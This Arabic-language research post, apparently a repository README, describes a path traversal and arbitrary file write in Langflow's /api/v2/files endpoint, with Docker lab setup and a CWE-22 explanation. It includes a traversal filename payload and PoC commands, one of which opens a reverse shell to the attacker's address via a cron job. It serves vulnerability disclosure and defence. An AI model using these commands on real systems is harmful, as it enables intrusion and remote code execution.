
إثبات مفهوم للاستغلال لـ CVE-2026-5027، وهو اجتياز مسار وكتابة ملف عشوائي في نقطة نهاية /api/v2/files في Langflow، مع مختبر Docker وخيار reverse shell.
هذا المنشور عبارة عن مقال بحثي نُشر بواسطة EQSTLab.
شكرًا لـ Yahia Hamza، الذي أبلغ عن هذه الثغرة الأمنية وقام بتحليلها.
★ CVE-2026-5027 Langflow Path Traversal / Arbitrary File Write PoC ★

CVE-2026-5027 : ثغرة الكتابة التعسفية للملفات في Langflow
الوصف: تسمح ثغرة اجتياز المسار (Path Traversal) في Langflow <= 1.8.4 للمهاجمين بكتابة ملفات تعسفية خارج دليل الرفع المقصود عبر قيمة filename مُصمَّمة متعددة الأجزاء (multipart) يتم تمريرها إلى نقطة النهاية /api/v2/files. في عمليات النشر التي يكون فيها تسجيل الدخول التلقائي مُفعَّلاً أو تكون المصادقة ضعيفة التطبيق بأي شكل آخر، قد يُستغل هذا الأمر لتحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر كتابة محتوى يتحكم فيه المهاجم إلى مواقع حساسة في نظام الملفات.
قم ببناء وتشغيل البيئة المعرَّضة للثغرة باستخدام Docker:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
نقطة النهاية المعرَّضة للثغرة
POST /api/v2/files
توجد المشكلة لأن وظيفة الرفع تثق بقيمة filename متعددة الأجزاء التي يوفرها العميل. فبدلاً من إنشاء اسم تخزين آمن من جانب الخادم أو تقييد المسار المُحلَّل إلى دليل رفع مخصص، يسمح مسار التعليمات البرمجية المعرَّض للثغرة بتسلسلات اجتياز المسار مثل ../ للتأثير على مسار الوجهة النهائي.
ونتيجة لذلك، يمكن للمهاجم الخروج من جذر التخزين المقصود وإجبار التطبيق على كتابة ملفات إلى مواقع تعسفية على نظام ملفات الخادم.
فيما يلي تدفق استغلال نموذجي:
/api/v2/files.filename مُصمَّمة تحتوي على تسلسلات اجتياز المسار.هذه في جوهرها مشكلة CWE-22: التقييد غير السليم لاسم المسار إلى دليل مقيَّد.
ينتج الخلل الأمني عن التطهير والتحقق غير الكافيين لمسارات الملفات التي يتحكم فيها المستخدم أثناء معالجة الرفع. يقبل التطبيق اسم الملف الأصلي من العميل ويمرره إلى سير عمل التخزين دون فرض التطبيع والاحتواء المناسبين للمسار.
من وجهة نظر دفاعية، فإن النمط الخطير يشبه من حيث المفهوم ما يلي:
save_path = base_dir / file.filename
إذا كانت file.filename تحتوي على مكونات اجتياز المسار مثل:
../../../../tmp/poc.txt
فقد يشير المسار المُحلَّل النهائي إلى خارج base_dir، مما يتيح الكتابة التعسفية للملفات.
غالبًا ما تكون ثغرات الكتابة التعسفية للملفات أكثر خطورة من مشكلات الرفع غير المقيَّد القياسية لأن المهاجم يتحكم ليس فقط في محتويات الملف، بل أيضًا في مسار الوجهة. واعتمادًا على امتيازات وقت التشغيل لعملية Langflow، قد يتيح ذلك:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
لا يهدف هذا المستودع إلى تسهيل الاستغلال غير المصرَّح به لنسخ Langflow. الغرض من هذا المشروع هو مساعدة الباحثين الأمنيين والمدافعين والمطورين على فهم الثغرة الأمنية، والتحقق من مدى التعرُّض في بيئات مُتحكَّم بها، وتطبيق تدابير التخفيف الفعّالة.